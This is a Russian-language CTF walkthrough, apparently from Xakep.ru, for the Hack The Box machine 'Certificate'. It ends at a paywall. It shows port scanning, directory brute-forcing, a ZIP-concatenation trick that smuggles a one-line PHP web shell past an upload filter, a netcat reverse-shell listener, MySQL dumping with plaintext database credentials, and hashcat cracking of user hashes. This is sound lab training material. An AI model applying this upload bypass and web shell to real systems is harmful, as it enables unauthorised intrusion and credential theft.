Содержание статьи
Наша конечная цель — получение прав суперпользователя на машине Certificate с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.71 certificate.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).

Сканер нашел 13 открытых портов:
- 80 (HTTP) — веб‑сервер Apache 2.4.58;
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — WinRM;
- 9389 — веб‑службы AD DS.
Добавляем имя контроллера домена в файл /
.
10.10.11.71 certificate.htb dc01.certificate.htb
На хосте работает веб‑сервер, поэтому сразу просмотрим сайт.

Точка входа
На сайте можно зарегистрироваться, обязательно сделаем это, чтобы иметь максимум возможностей.

На сайте ничего интересного найти не удалось, поэтому приступим к сканированию каталогов при помощи feroxbuster.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю feroxbuster.
При запуске указываем следующие параметры:
-
-u
— URL; -
-d
— глубина сканирования; -
-t
— количество потоков; -
-w
— словарь (я использую словари из набора SecLists).
Задаем все параметры и запускаем сканер:
feroxbuster -u http://certificate.htb/ -d 1 -t 128 -w php_files_common.txt

Находим интересные страницы вроде db.
, которая говорит об использовании базы данных, а также upload.
— для загрузки файлов. Но сама страница требует дополнительные параметры.

Осматриваемся на сайте и находим страницу с курсами. При переходе к определенному курсу появляется страница с формой загрузки файла.


Точка опоры
Файл принимает офисные документы и ZIP-архивы. При попытке загрузить на сервер веб‑шелл в архиве получаем ошибку с пометкой о вредоносном контенте.

Однако можно воспользоваться техникой объединения архивов, при которой два архива будут записаны подряд в одном файле. Проверяться будет первый архив, а файлы получим из второго.
# <?=`$_GET[0]`?>echo -n qweqwe > file.pdf
zip file.zip file.pdf
zip shell.zip shell.php
cat file.zip shell.zip > all.zip

При просмотре в адресной строке видим путь к файлу.

Теперь вместо file.
указываем свой реверс‑шелл shell.
и команду whoami
.

Запускаем листенер:
rlwrap nc -nlvp 4321
И выполняем реверс‑шелл, чтобы получить удобную командную оболочку. Получаем сессию от имени учетной записи xamppuser
.

Продвижение
Пользователь Sara.B
Веб‑приложение использует базу данных, и в файле db.
лежат учетные данные от нее — без проблем получаем их.

В XAMPP входят утилиты для работы с базами данных MySQL, можем ими воспользоваться.

Первым делом получим список баз данных.
mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "show databases;"

Перспективнее всего выглядит certificate_webapp_db
. Запрашиваем список таблиц этой базы данных.
mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "use certificate_webapp_db; show tables;"

В таблице users
, скорее всего, лежат учетные данные пользователей. Посмотрим поближе.
mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "use certificate_webapp_db; select * from users;"

Сохраним хеши пользователей, у которых почта на домене certificate.
, и пробрутим с помощью hashcat.
hashcat -m 3200 hashes.txt rockyou.txt

У нас один пароль, поэтому получим список пользователей домена и сохраним в файл.
net users /domain

Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее